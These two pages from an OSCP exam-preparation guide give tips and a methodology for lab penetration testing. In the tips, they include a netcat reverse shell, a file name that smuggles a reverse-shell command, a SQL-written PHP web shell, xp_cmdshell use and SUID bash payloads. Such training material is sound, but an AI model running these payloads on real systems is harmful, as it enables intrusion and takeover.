⚠️ \*\*I have migrated all my notes to the new website:\*\* \[\*\*https://hackwithmike.com\*\*\](https://hackwithmike.com)\*\*. All future updates will only be pushed on the new site\*\* \[\*\*https://hackwithmike.com/oscp\*\*\](https://hackwithmike.com/oscp)\*\*/.\*\*&#x20;

## Introduction

\*\*\*

If you're looking for a more detailed methodology for navigating OSCP boxes, check \[this\](/oscp/methodology/oscp-methodology.md) out. The tips here are some quick tricks to try when you are running out of ideas.

<figure><img src="/files/s1O1FWMZaX6op2poxraj" alt=""><figcaption></figcaption></figure>

## General Tips (Applicable to all OS)

\*\*\*

### \*\*Initial Foothold\*\*

#### <mark style="color:orange;">\*\*Initial Scans & Enum:\*\*</mark>

{% tabs %}
{% tab title="Rerun Scans" %}
Scans can sometimes return false positives or missing ports due to different reasons.&#x20;

\* Revert all the machines at the start of the exam.
\* Revert & rescan the machines midway through your exam, especially when you cannot find a way through.
  {% endtab %}

{% tab title="Beware of Rabbit Holes    " %}
OSCP is an enumeration exam, so there will be a lot of intentionally misleading paths and dead ends (rabbit holes). Moreover, the actual solution is usually broken into partial clues scattered across different services, such as a username on Port 80 (web page) and a password in a file on Port 21 (FTP).

\* Don’t spend too much time at the same spot - Make sure you have covered every other area first.
\* Take thorough notes during your enumeration so you can piece the puzzle together.
  {% endtab %}

{% tab title="Scan UDP Ports" %} <mark style="color:green;">\*\*NEVER forget about UDP Ports!\*\*</mark> There could be vulnerable UDP services such as SNMP (running on Port 161/162). &#x20;

\* Do a quick UDP scan and look for \`open\` ports.&#x20;
\* Ports with \`open | filtered\` status are likely just filtered ports.

\`\`\`bash
sudo nmap <ip> -F -sU -vv
\`\`\`

{% endtab %}

{% tab title="Poking Ports" %}
If a port's service cannot be identified by Nmap, use \`netcat\` or \`telnet\` to manually interact with the port.

\* Send random strings (and press enter) to see if the port responds.
\* Send common command strings such as \`help\` or \`ls\` to check if the port is serving some sort of terminals.
\* Send \`GET / HTTP 1.1\`, press enter, and send \`Host: test\`, and press enter twice to see if it is running a web server. Alternative, try \`curl\` or \`wget\` on the port (\`http://<ip>:><port>\`).
  \* This will less likely work since Nmap usually picks web servers up. You can try it regardless if nothing else worked.
\* Also, googling the particular port (Google: "Port XXX service") is always useful.
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">\*\*Shells & Connections:\*\*</mark>

{% tabs %}
{% tab title="Firewalls & Open Ports" %}
Always prioritize using <mark style="color:green;">\*\*open ports\*\*</mark> on the target machine for listening to reverse shells (i.e., the listening port on our Kali when running \`netcat\` listener.)

\* Open ports on the target machine are more likely to have exceptions for inbound & outbound connections.
\* Alternatively, try common ports: 21, 22, 139, 445, 80, 443, 3389, etc.
\* Port 4444 is usually blocked for security reasons.
  {% endtab %}

{% tab title="Adding hosts to /etc/hosts" %}
Remember to add potential <mark style="color:green;">\*\*hostnames & domains\*\*</mark> into our local kali's \`/etc/hosts\` file.

\* If this is the intended path, you will likely see emails / URLs on the web pages that give you information on the hostname / domain.
  \* It is also possible that the box name / service name is used as the hostname.
\* This may reveal pages with hostname restrictions, or pages behind virtual hosts.
\* Also, try enumerate the web pages before adding the hostname. The server may react differently to different hostnames, or no hostname.
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">\*\*File Shares:\*\*</mark>

{% tabs %}
{% tab title="Is there also a web server?" %}
When there is a file share (e.g., SMB / FTP) and a web server running together on the machine, always check if the <mark style="color:green;">\*\*web server hosted under the file share's directory\*\*</mark>. If that's the case, check if we can:

\* Upload a web shell to the file share, and trigger it via the web page.
\* Read sensitive config files and look for credentials to access the web page.
  {% endtab %}

{% tab title="Try uploading anyway!" %}
Tools like \`NetExec\` are extremely useful, but they can sometimes be inaccurate. I once checked an SMB share with \`NetExec\`, and it indicated that I only had read access to the share. However, I was able to <mark style="color:green;">\*\*upload files to the SMB share\*\*</mark> regardless.

\* Always try using commands like \`PUT\` to test if you can upload any files. A quick check like this may save you hours of scratching your head, wondering what went wrong!
  {% endtab %}

{% tab title="Default / Weak Credentials" %}
File shares can often run on weak / default credentials. A quick check never hurts.

\* \`ftp:ftp\`
\* \`admin:admin\`
\* \`anonymous:anonymous\` (Or simple just no password)
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">Web Services:</mark>

{% tabs %}
{% tab title="Dir-busting" %}
Here are all my directory busting tips and tricks:

\* Try 2 or more different directory busting tools, as well as wordlists. Personally I use \`FeroxBuster\` and \`DirSearch\` , with \`/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt\` , \`directory-list-2.3-medium.txt\` and \`directory-list-2.3-big.txt\`.
\* Always do <mark style="color:green;">\*\*recursive directory busting\*\*</mark>.
  \* \`FeroxBuster\` does this by default, but it can be slow sometimes.
\* Try add <mark style="color:green;">\*\*file extensions\*\*</mark> (e.g., \`.pdf\`, \`.php\`, etc.) if the initial busting returns nothing.
  \* For example, \`/index\` may returns 404, but \`/index.php\` may returns 200.
\* Try add box name / service name / username as the first directory.
  \* For example, if you suspect WordPress is running on the web server, but you can't find anything, try do directory busting with this base URL instead: \`example.com/wordpress/\`.
\* For Directory-like results that do not show as "Open Directory Listing " (e.g., \`example.com/test/\`), always try visit the URL anyway, as some pages are configured with hidden index pages.
  {% endtab %}

{% tab title="Subdomain" %}
Always perform subdomain enumeration. I find this less common in OffSec's Proving Ground (PG) boxes, but very common in HTB & TryHackMe boxes.&#x20;

\* \`Gobuster\`'s \`vhost\` mode works best for me:

{% code overflow="wrap" %}

\`\`\`bash
gobuster vhost -u http://<ip> -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain <domain> | grep "Status: 200"
\`\`\`

{% endcode %}

\* There could be hidden admin panels, API endpoints, sites that are still in development (\`.git\` lying somewhere maybe?), etc.
\* Always remember to perform <mark style="color:green;">\*\*directory busting\*\*</mark> on the newly discovered subdomain endpoints.
  {% endtab %}

{% tab title="Git" %}
The \`.git\` directory is a gold mine if you found it via directory busting. Some wordlists may miss it, so make sure you run multiple wordlists and tools.

\* Use \[git-dumper\](https://github.com/arthaud/git-dumper) to dump the \`.git\` directory (Amazing tool).
\* Suppose the .git directory is located at \`example.com/.git/\`:

{% code overflow="wrap" %}

\`\`\`bash
git-dumper http://example.com ./output\_folder
\`\`\`

{% endcode %}

\* Read through the source codes to look for hard-coded credentials, session tokens, or vulnerable codes such as LFI & SQL injections.
\* Use \`git show\` and \`git diff\` to look for commit changes. There may be credentials that were deleted, but were logged in the commit changes.
  {% endtab %}

{% tab title="Webpage & Source Code" %}
Always look for potential usernames / emails / credentials on page contents.

\* Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
\* Understand all functionalities, such as user login, file upload, etc, so that you can focus on or skip relevant attack vectors based on the existing functions.
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="SQL Injections" %}
Don't just spam \`'OR 1=1 -- //\` for potential SQL injections, as SQLi is not always about authentication bypass. Here are a few SQL injections tips & tricks:

\* Using \`'\`  is the most common way to test for error-based SQL injections. However, don't miss out on Blind SQLi (with sleep /delay functions). Try double quotes too (\`"\`).
\* If SQL injection is possible, try the following items:
  \* <mark style="color:green;">\*\*Authentication Bypass\*\*</mark>
  \* <mark style="color:green;">\*\*Remote Code Execution\*\*</mark>
  \* <mark style="color:green;">\*\*Dumping Database Info\*\*</mark>
  \* <mark style="color:green;">\*\*System File Read / File Write\*\*</mark>
\* Pay attention to the SQL service in use, as different SQL services have different syntaxes.
  \* For example, commenting out is \`-- -\` in MSSQL, but \`-- //\` in MySQL.
    {% endtab %}

{% tab title="File Read" %}
There is a lot that we can look for with local file read vulnerability.&#x20;

\* \`/etc/passwd\` & \`/etc/shadow\` files on Linux.
\* SSH Keys (Usually located under \`/home/<user>/.ssh\` on Linux, or \`C:\\Users\\<user>\\.ssh\` on Windows. They can also be on the user's Desktop, or other similar folders.)
  \* Especially when you see SSH is up on the server.
\* Config files (Especially for web servers & file shares)
  \* May require some research on the services in use. Go through the documentations if needed.
  \* Files like \`config.php\` in PHP applications usually hold the database credentials.
  \* &#x20;\`.htaccess\` is one of the most common config files that contains useful information. It usually lies on the web root.&#x20;
\* Log Files (E.g., Access Logs, Error Logs, etc.)
\* History Files (E.g., Bash History, PowerShell History)
\* For Linux: \`/proc\` files. (See more \[here\](https://highon.coffee/blog/lfi-cheat-sheet/#procselfenviron-lfi-method))
  {% endtab %}

{% tab title="File Write" %}
If file write is possible, there are usually 2 scenarios:

1. We can write and access a <mark style="color:orange;">\*\*web shell\*\*</mark>\*\*.\*\*
   \* Look for an accessible web directory that we can visit and trigger the web shell.
   \* For PHP apps, if \`phpinfo()\` is present, we can check the full web directory path.
   \* For Linux, try \`/var/www/html/\`as the web root.
2. We can <mark style="color:orange;">\*\*overwrite\*\*</mark> some important system files and bypass authentication.
   \* E.g., Overwriting the SSH public key with our public key.
   \* E.g., Appending a new root user to the \`/etc/passwd\` file.
   \* E.g., Rewriting the \`.htaccess\` to bypass access restrictions, and allow uploading & execution of certain file extensions (e.g., \`.php\`).
     {% endtab %}

{% tab title="File Upload" %}
If file upload is possible, there are usually 4 scenarios:

1. We can upload and access a <mark style="color:orange;">\*\*web shell / reverse shell\*\*</mark> (May require restriction bypass).
2. We can <mark style="color:orange;">\*\*overwrite\*\*</mark> some important system files and bypass authentication.
   \* E.g., Overwriting the SSH public key with our public key.
3. We can upload a malicious file and wait for \*\*user interactions\*\*.
   \* Less likely in the exam - and there should be hints if it is intended (e.g., "\`An administrator will review this file.\`")
4. It is a rabbit hole :'(
   {% endtab %}
   {% endtabs %}

{% tabs %}
{% tab title="HTTP Request Methods" %}
Try switching between different HTTP request methods (e.g., \`GET\` / \`POST\`) to see if the server responds differently. Detailed error messages may return, etc.

\* Try changing a \`GET\` request to a \`POST\` request, and vice versa.
\* Supply some random parameter values (e.g., \`GET /index.php?test=123\`) to check if the server responds with hints on the correct parameters.
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">Databases:</mark>

{% tabs %}
{% tab title="SQL File Read & Write" %}
Always check if the SQL service allows file read / write. Follow the same tips on exploiting file read & write in the Web Service section.

For <mark style="color:green;">\*\*MSSQL\*\*</mark>:

\* <pre class="language-sql" data-title="File Read" data-overflow="wrap"><code class="lang-sql">SELECT \* FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE\_CLOB) AS Contents
  </code></pre>
\* <pre class="language-sql" data-title="Enabling File Write" data-overflow="wrap"><code class="lang-sql">sp\_configure 'show advanced options', 1; RECONFIGURE; sp\_configure 'Ole Automation Procedures', 1; RECONFIGURE
  </code></pre>
  \* Requires Admin Privilege.

For <mark style="color:green;">\*\*MySQL:\*\*</mark>&#x20;

\* <pre class="language-sql" data-title="File Read" data-overflow="wrap"><code class="lang-sql">SELECT LOAD\_FILE("/etc/passwd");
  </code></pre>
\* <pre class="language-sql" data-title="File Write" data-overflow="wrap"><code class="lang-sql">SELECT "&#x3C;?php echo shell\_exec($\_GET\['cmd'\]);?>" INTO OUTFILE '/var/www/html/webshell.php';
  </code></pre>

{% endtab %}

{% tab title="SQL Code Execution" %}
If misconfigured, it is possible to execute system-level commands via SQL services.

\* For MSSQL, we can use xp\\\_cmdshell to execute commands if it is enabled, or if we can enable it.

\* \`\`\`sql
  EXECUTE xp\_cmdshell 'whoami';
  \`\`\`

\* For MySQL, user-defined functions (UDF) are required to execute system commands, and it is mostly used during privilege escalation, not initial access.
  {% endtab %}

{% tab title="Dumping User Creds" %}
Suppose you have obtained access to the SQL database, always check the non-default databases and tables to look for user credentials.&#x20;

\* For examples, many CMS store user password hashes in a \`users\` table. We can dump the hashes and crack them to obtain plaintext passwords.
\* For MySQL, we should also dump the MySQL user credentials with the following command:
\* \`\`\`sql
  SELECT \* FROM mysql.user;
  \`\`\`

{% endtab %}
{% endtabs %}

#### <mark style="color:orange;">Login & Password Attacks:</mark>

{% tabs %}
{% tab title="Default Credentials" %}
Always try default or weak credentials - \`admin / admin\`, \`admin / password\`, you name it. These are easy quick wins and should always be tried first before doing any hard work.

\* Google the service name & version + default credentials.
\* Try \`admin:admin\` and all those similar stuff.
  {% endtab %}

{% tab title="Try Usernames as Passwords" %}
It is always possible that the passwords are configured conveniently as the username or the service's name. For example, the \[default pre-built Kali Linux VM image\](https://www.kali.org/docs/introduction/default-credentials/) uses the credential pair: \`kali:kali\`.

\* Spray the usernames as passwords.
  \* E.g., \`john:john\`, \`mary:mary\`, etc.
\* Also, try use service names as passwords.
  \* E.g., for Tomcat, use \`tomcat:tomcat\`, for FTP, use \`ftp:ftp\`, etc.
    {% endtab %}

{% tab title="Run brute-forcing anyway" %}
While it is unlikely for many cases, it never hurts to run some quick brute-force attacks, especially when you have run out of ideas.

\* Run a quick brute-force login attack with \`rockyou.txt\` on available services. If this is intended, it should be cracked right away (or at least under 10-20 minutes).
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">Public Exploits:</mark>

{% tabs %}
{% tab title="Revert!" %}
When in doubt, <mark style="color:green;">revert the machine</mark>.

\* Sometimes our previous exploitation attempts may have caused unexpected behaviours in the target machine.&#x20;
\* I once tried to set up some port-forwarding rules on the machine to run an exploit, but I was using the wrong exploit, so the attack did not work. I later found and ran the correct exploit, but it was not working as intended, likely due to the previous port-forwarding attempts. Reverting the machine solved the issue.
  {% endtab %}

{% tab title="(Authenticated)" %}
If the exploit does not specify "<mark style="color:green;">\*\*Authenticated\*\*</mark>",  try running it <mark style="color:green;">\*\*without authentication\*\*</mark>.

\* For example, it is possible that we can directly send a crafted HTTP request to an internal endpoint without needing to be logged in.
  \* Here's an example of a PoC that looks like an authenticated exploit, but it can actually be used without authentication: \[Free School Management Software 1.0 - Remote Code Execution (RCE)\](https://www.exploit-db.com/exploits/50587).
    {% endtab %}

{% tab title="Appending http\\://" %}
Try adding \`http://\` to the URL parameter if the web exploit is not working.

\* E.g., \`192.168.1.1\` --> \`http://192.168.1.1\`.
\* As some exploits are written with a full URL target in mind.
\* Always read through the exploit codes to understand how the payload is crafted.
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Different version of the same exploit" %}
For some vulnerabilities, there may be <mark style="color:green;">\*\*multiple available exploits\*\*</mark> online. I always recommend to try out the simpler ones first, as the more complex ones can be much more difficult to debug.&#x20;

\* Even when the simpler ones do not work for the first time, I would go through the exploit codes to make sure I am not making mistakes in supplying the arguments, haven't clean up the exploit codes, etc.&#x20;
\* There may also be multiple exploits on the same attack vector. For example, a particular version of a CMS can have both a File Read vulnerability and an Authentication Bypass vulnerability. It will never be a bad idea to try both, but it is better to try understanding what exactly are we looking for in the attack.
  {% endtab %}

{% tab title="Try Different Encoding" %}
Try to encode your payloads in different formats when they are not working (and you believe they are supposed to).

\* Always URL-encode the payloads for web exploits, especially those that are sent through URLs (\`GET\` requests).

Here is another example payload of inject a command into a Linux file name:

\`\`\`
cp cat.jpg '|cat"\`nc 10.10.10.10 4444 -e /bin/bash\`".jpg'
\`\`\`

\* This will not work due to the slash in \`/bin/bash\` . The Linux system cannot process filenames with slashes.
\* To make the payload work, we have to encode the payload in Base64:

\`\`\`
cp cat.jpg '|en"\`echo <base64-encoded-payload> | base64 -d | bash\`".jpg'
\`\`\`

{% endtab %}
{% endtabs %}

### Privilege Escalation

#### <mark style="color:orange;">\*\*Initial Scans & Enum:\*\*</mark>

{% tabs %}
{% tab title="Automated Enumeration Scripts" %}
Always run multiple different enumeration scripts when stuck.

\* For example, I always run \`WinPEAS\`, \`PowerUp.ps1\`, and \`jaws-enum.ps1\` on a Windows target, as each of them has a different way of presenting their output, and they sometimes use different methods in checking the same vulnerabilities.
\* This also helps to filter out potential false positives.
  {% endtab %}

{% tab title="Re-read the Output!" %}
Sometimes the automated scripts (or the exploits) may have given you what you need, they may just be right under your nose. Always re-read the output <mark style="color:green;">\*\*line-by-line\*\*</mark> if you are stuck!

\* I was once stuck for more than hours on a pivoted user, as I can't find anything useful on their directories, nor authenticating to other services. I finally gave up and re-ran WinPEAS for the last time, and I realize there was a credential stored in the registry, and I had missed that line of output the whole time.&#x20;
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">Services:</mark>

{% tabs %}
{% tab title="Versions" %}
Don't sleep on the service version when performing privilege escalations. The attack path could be to exploit an outdated and vulnerable internal application with publicly available exploits.

\* You can check them either by interacting with the binary in CLI (e.g., adding \`-h\`), or running the application in GUI and check the about section.
  {% endtab %}

{% tab title="Port-forwarding Internal Services" %}

{% endtab %}
{% endtabs %}

#### <mark style="color:orange;">Login & Password Attacks:</mark>

{% tabs %}
{% tab title="Spraying SSH keys" %}
SSH keys can be sprayed both externally and internally.

\* Some SSH keys may be configured to only work in the internal network, or even in the local machine (127.0.0.1). If spraying them externally does not return anything, try to spray them again internally. For example, run this command on the target machine:
\* \`\`\`
  ssh root@127.0.0.1 -i id\_rsa
  \`\`\`

{% endtab %}
{% endtabs %}

<mark style="color:orange;">\*\*Sensitive Information:\*\*</mark>

{% tabs %}
{% tab title="Config Files" %}
Always enumerate config files for more credentials, even after you obtained an initial shell.

\* Say if you uploaded a web shell and has successfully obtained a shell as \`www-root\`. We should always go back to the web server directory and go through all the readable config files to look for hard-coded credentials. In many cases, we may find database connection credentials that were previously unknown to us.
\* As <mark style="color:green;">\*\*password reuse\*\*</mark> is very common, we can try to use the obtained credentials as is, or we can also spray the password to other usernames to see if different users share the same password.
  {% endtab %}

{% tab title="Interesting Files" %}
Through enumeration is always the key. Don't skip any potentially interesting files!

\* I have once found the root password within a mail file in the \`/var/mail\` directory, which usually does not contain any files.
  {% endtab %}
  {% endtabs %}

<mark style="color:orange;">\*\*Pivoting:\*\*</mark>

{% tabs %}
{% tab title="Lateral Movement" %}
Quite often the attack path can involve <mark style="color:green;">\*\*lateral movements between multiple users\*\*</mark>, before reaching the final root account. So if you see more than one users in under the \`/home\` or \`c:\\users\` directory, there is a high likelihood that several lateral movements are needed.

\* Let's say you obtained a shell as \`www-data\`. It is possible that you cannot escalate to root directly from \`www-data\`, but instead have to find a password in the web config file, spray that password on a local user \`john\`, then you exploit an internal service as \`john\` to gain access to another user \`peter\`, and finally escalate to root by \`sudo\` with \`peter\`.
  {% endtab %}
  {% endtabs %}

## Linux-specific Tips

\*\*\*

### \*\*Privilege Escalation\*\*

#### <mark style="color:orange;">\*\*Services & Processes:\*\*</mark>

{% tabs %}
{% tab title="Analysing Binaries" %}
Run \`strings\` & \`strace\` on suspicious binaries.

\* This may reveal plaintext passwords, commands, other executables being called, potential Shared Objection injection, etc.
  {% endtab %}

{% tab title="Analysing System Processes" %}
When running \`ps aux\`, don't just grep the output from the root user.&#x20;

\* Always also grep the processes that belongs to other human users, as we may learn what have other users executed, as well as discover potential credentials used within the command they executed.
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">\*\*Sensitive Information:\*\*</mark>

{% tabs %}
{% tab title="Alias" %}
Don't forget to run the \`alias\` command to check what command alias were set.

\* In realistic scenarios, system administrators may have created command alias for commonly used commands, and some of these commands may contain user credentials.
  {% endtab %}

{% tab title="/media, /mnt & /opt" %}
Always check the \`/media\`, \`/mnt\` and \`/opt\` directories for uncommon applications and files.

\* The \`/opt\` directory often contains non-standard installations of services, or directories that contain sensitive information.
\* While less commonly seen, the \`/media\` and \`/mnt\` directories sometimes contain juicy files, such as USB drives, mounted NFS shares, etc.
\* The \`/tmp\` folder is also always worth checking.
  {% endtab %}

{% tab title="binwalk" %}
For all sorts of compressed & archived files, we can use the \`binwalk\` command to read the archives within the file:

\`\`\`
binwalk \[filename\]
\`\`\`

\* Since spreadsheet files such as \`.xlsx\` and \`.xlsm\` are just compressed files, we can read the Marcos in the format of XML files by extracting them from the excel files.

We can do this to extract all files from the XLSM file:

\`\`\`
binwalk -e \[filename\]
\`\`\`

{% endtab %}
{% endtabs %}

#### <mark style="color:orange;">\*\*Group Membership:\*\*</mark>

{% tabs %}
{% tab title="Group Permission" %}
Group Membership can be a privilege escalation vector if our user belongs to some of the privileged groups. Also check if other users are in these interesting groups, as they may be the target for lateral movements.

\* Common privileged groups on Linux:
  \* <mark style="color:green;">\*\*LXC / LXD\*\*</mark> (Abusing Container Privileges)
  \* <mark style="color:green;">\*\*Docker\*\*</mark> (Abusing Container Privileges)
  \* <mark style="color:green;">\*\*Disk\*\*</mark> (Full File Read & Write Privileges)
  \* <mark style="color:green;">\*\*ADM\*\*</mark> (Privileges to Read Logs)
    {% endtab %}
    {% endtabs %}

#### <mark style="color:orange;">Scheduled Tasks / Cron Jobs:</mark>

{% tabs %}
{% tab title="pspy" %}
\[Pspy\](https://github.com/DominicBreuker/pspy) is the best tool to monitor all processes and potential cronjobs on a Linux machine.

\* We can monitor all live running processes without needing root privileges. This is extremely useful for detecting cronjobs that runs in a fixed interval (e.g., 1 minute),&#x20;
\* This is especially useful when we do not have access to crontab, or crontab is not showing anything but we suspect there are cronjobs.
  {% endtab %}

{% tab title="Script Files" %}
Sometimes we may not have visibility on the processes and crontabs to validate if there are any cronjobs running. However, we should always look for any suspicious script files within the system.

\* It is possible that the root user is running that particular script file as a cronjob, but we just don't have the visibility on the actual running process.

{% endtab %}

{% tab title="Exploiting Cronjobs" %}
When exploiting cronjobs, a common attack technique is to use the root privilege to create a copy of the Bash binary and adding the SUID bit to that copied binary. Below is an example payload:

\* \`\`\`sh
  cp /bin/bash /tmp/bash & chmod +s /tmp/bash
  \`\`\`
\* However, I have found this payload occasionally not working.
\* Here are some other alternative payloads you can run:
  \* One, simply adding the SUID bit to the /bin/bash binary directly:
  \* \`\`\`sh
    chmod u+s /bin/bash
    \`\`\`
  \* Two, create a reverse shell to your Netcat listener. The connected shell will be running as root:
  \* <pre data-overflow="wrap"><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&#x26;1|nc 10.10.10.10 4444 > /tmp/f
    </code></pre>

Moreover, the exploitation techniques in \[GTFOBins\](https://gtfobins.github.io/) are not limited to \`sudo\` & SUID attacks only. As long as the process or binary can be executed by root (here via root-user Cronjobs), we can apply the same technique to escalate our privileges.
{% endtab %}
{% endtabs %}

## Windows-specific Tips

\*\*\*

### \*\*Initial Foothold\*\*

#### <mark style="color:orange;">\*\*Client-side Attack:\*\*</mark>

{% tabs %}
{% tab title="NTLM Theft" %}
Suppose this is the intended attack path, there should be hints on locations and areas that users may visit and interact with.

\* For example, there may be a feedback form with a note saying that the administrator will go through all of the comments.
\* Alternatively, it is also possible that we can force an NTLM theft without needing the user to react to our payloads. Try to look for user input areas where we can direct the connection towards our controlled SMB server, for examples:
  \* \`xp\_dirtree\` in MSSQL.
  \* File Inclusion that allows visiting an SMB share.
  \* A function that will visit any URLs (including SMB URIs).
    {% endtab %}
    {% endtabs %}

#### <mark style="color:orange;">\*\*Shells & Connections:\*\*</mark>

{% tabs %}
{% tab title="PowerShell Payloads" %}
When running a Windows reverse Shells, always use the PowerShell Base64 payload, as it has the highest success rate.

\* Since the payload is Base64 encoded, it has the lowest risk of being corrupted midway during transmission.
  {% endtab %}

{% tab title="Slashes" %}
If a Windows payload is not working, we can try changing forward slashes (\`/\`) to backslashes (\`\\\`), and vice versa.

\* Different tools and exploits may be crafted in different languages and formats, so that the format of slashes are not consistent across them.
  {% endtab %}
  {% endtabs %}

### \*\*Privilege Escalation\*\*

#### <mark style="color:orange;">\*\*Kernel Exploits:\*\*</mark>

{% tabs %}
{% tab title="Try Multiple Exploits" %}
If we are certain that the kernel is vulnerable, we should always try to run a few different applicable exploits, since not all of them may work due to multiple reasons.
{% endtab %}

{% tab title="Older Windows" %}
For older Windows Systems (e.g., Windows 7), they are most likely to be vulnerable to the well-known SMB exploits.

\* We can run a Nmap SMB scripts can them to check if they are vulnerable.
\* \`\`\`
  nmap -vv -p 139,445 --script smb\* <ip>
  \`\`\`
\* \`\`\`
  nmap -vv -p 139,445 --script smb-vuln-ms\* <ip>
  \`\`\`
  \* Sometimes the first script scan may miss some of the scripts like MS-17010. Just run both to be safe.

Since the older systems are severely out-of-date, they may look vulnerable to multiple vulnerabilities. However, some of them may be patched and could be rabbit holes.

\* Don't stay on one exploit for too long if it does not work. Retry the previous ones, or move on to new ones.
  {% endtab %}
  {% endtabs %}

#### <mark style="color:orange;">\*\*Group Memberships:\*\*</mark>

{% tabs %}
{% tab title="Restore Local Service Privileges" %}
Sometimes we may have compromised a \`LOCAL SERVICE\` or \`NETWORK SERVICE\` account, but its privileges were missing. This is because the account may be configured to be running with a restricted sets of privileges.

\* It is possible to recover its permissions by creating a scheduled task. The new process created by the \`Task Scheduler Service\` will have all the default privileges of the associated user account.
\* You may read more about this on \[here\](https://github.com/itm4n/FullPowers) and \[here\](https://itm4n.github.io/localservice-privileges/).
  {% endtab %}
  {% endtabs %}

---

# OSCP Methodology | Mike's OSCP Guide

For the complete documentation index, see [llms.txt](https://hackwithmike.gitbook.io/oscp/llms.txt)
. This page is also available as [Markdown](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology.md)
.

**Important Notice**[](https://hackwithmike.gitbook.io/oscp/methodology#important-notice)

------------------------------------------------------------------------------------------

⚠️ **I have migrated all my notes to the new website:** [**https://hackwithmike.com**](https://hackwithmike.com/)
**. All future updates will only be pushed on the new site** [**https://hackwithmike.com/oscp**](https://hackwithmike.com/oscp)
**/.**

Introduction[](https://hackwithmike.gitbook.io/oscp/methodology#introduction)

------------------------------------------------------------------------------

* * *

The OSCP is an practical hacking exam with a strict 24-hour time constraint. Therefore, time management is the most important aspect of the exam. The ability to identify potentially vulnerable attack vectors within the time constraint is key —you can always research and learn the exploitation process on the fly.

Note that this guide expects you to have basic understanding on hacking and the OSCP exam itself.

To begin with, let's filter out what we **should not spend time on**. Here is what you will likely not expect in the OSCP exam:

*   **OSINT** (E.g., Google Dorking & DNS enumeration).
    
*   **Network Poisoning and Spoofing** (LLMNR / NBT-NS Attacks)
    
*   **Client-side Attacks** (E.g., Phishing, XSS, CSRF, etc - highly unlikely)
    
    *   Some practice boxes on PGs and HTBs do simulate client interactions.
        
    *   In the case that this is the intended path, there should also be hints (e.g., "An admin will review your comment")
        
    

With these constraints _(plus the fact that OSCP is an entry-to-intermediate level certification)_, we can expect a limited number of possible attack vectors, which can mostly be grouped into the following 3 categories:

1

**Vulnerable Versions** & Public Exploits

2

Secure Versions but **Misconfigurations**

3

Hunting **Sensitive Information**

Noted that the 3 categories can be mixed & matched in a full attack path. For example:

*   Vulnerable Apache Web Server _(Vulnerable Version)_ -> Path Traversal into reading SSH Private Key _(Misconfiguration & Sensitive Information)_.
    
*   Anonymous SMB Share _(Misconfiguration)_ -> Discovered user credentials _(Sensitive Information)_.
    
*   Username used as Password _(Misconfiguration)_ _\->_ Run an authenticated RCE exploit _(Vulnerable Version)_.
    

These three attack vectors apply not only to initial footholds but also to privilege escalation and Active Directory attacks. It is a cyclic process:

1

Enumerate the three vectors.

2

Escalate privileges (Could be lateral - another user account).

3

Re-enumerate the three vectors with new privileges.

4

Escalate to higher privileges.

5

Repeat until root / administrator.

As the old saying goes — OSCP is an **enumeration exam**. If you find yourself crafting complex exploits, or fixing kernel driver dependencies, you are likely 90% on the wrong path. Try to take a step back and redo your enumeration, such as look for another available public exploit, a previous missed open port, some hidden credentials, etc.

Vulnerable Versions[](https://hackwithmike.gitbook.io/oscp/methodology#vulnerable-versions)

--------------------------------------------------------------------------------------------

* * *

Vulnerable versions of services and applications are usually quick wins when there are **Proof-of-Concepts (PoCs)** and **Public Exploits** available out there.

### Key strategies[](https://hackwithmike.gitbook.io/oscp/methodology#key-strategies)

1

**Enumerating versions**

Use automated scanning tools like `nmap`, `netcat`, `wpscan`, etc., to perform banner grabbing or service scanning. Manually walk through each running services and look for service & version information.

2

**Look for public exploits**

Utilize `searchsploit`, GitHub repos, [Exploit-DB](https://www.exploit-db.com/)
, etc., for existing public exploits.

3

**Fixing and using exploits**

Make sure the exploit is applicable to the service version. Some exploits have a range of vulnerable versions, and older versions may not be vulnerable. Also some public exploits require fixing and modifying before using.

If you find a vulnerable version with public exploit available, prioritizing trying out all the available exploits online. Don't spending too much time on making your own exploits or bypassing filters. OSCP is all about finding and using the right exploit, with a slight touch on "**fixing the exploit**" (which is usually just changing the target IPs, fixing typos, removing unnecessary spaces, etc.)

**Beware of Rabbit Holes**

It is always possible that the vulnerable versions have already been **patched**, and they are only here as rabbit holes. So if you find the public exploits not working despite all the conditions are met, take a step back and re-enumerate other possible attack paths.

### Enumerating Versions[](https://hackwithmike.gitbook.io/oscp/methodology#enumerating-versions)

Web Pages

Services on Open Port

Internal Services (Priv Esc)

This is the most common attacker vector of outdated version attacks. It could be in the form of an outdated CMS, a web portal for vulnerable systems, a page running on outdated web servers, etc.

*   Wappalzyer Plugin ([Firefox](https://addons.mozilla.org/en-CA/firefox/addon/wappalyzer/)
    , or [Chrome](https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?pli=1)
     for Burp).
    
*   Check the HTML source codes.
    
    *   Look for URLs, folder names, developer comments, etc.
        
    
*   Check HTTP Response Headers.
    
    *   Look for headers like: `Server`, `X-Powered-By`, etc.
        
    
*   For CMS, use WPScan / Droopescan / JoomlaScan / etc.
    

As for other running services, we can either detect their versions automatically with existing scanning tools, or interacting with them manually.

*   Service Detection with Nmap. (With the `-sV` flag.)
    
*   Banner Grabbing with Netcat & Telnet.
    
*   Interact with the service directly (E.g., SMB, FTP, SSH, etc.)
    

If you have **CLI access** to the machine (E.g., Reverse Shell, SSH, etc.):

*   Run the service binary with `--help` ,`-h` , `--version` ,`-v` , etc.
    
*   Check if there is a installation file of the service.
    

If you have **GUI access** to the machine (E.g., RDP):

*   Open the application and manually look for the version in the `About` section.
    
*   Check if there is a installation file of the service.
    
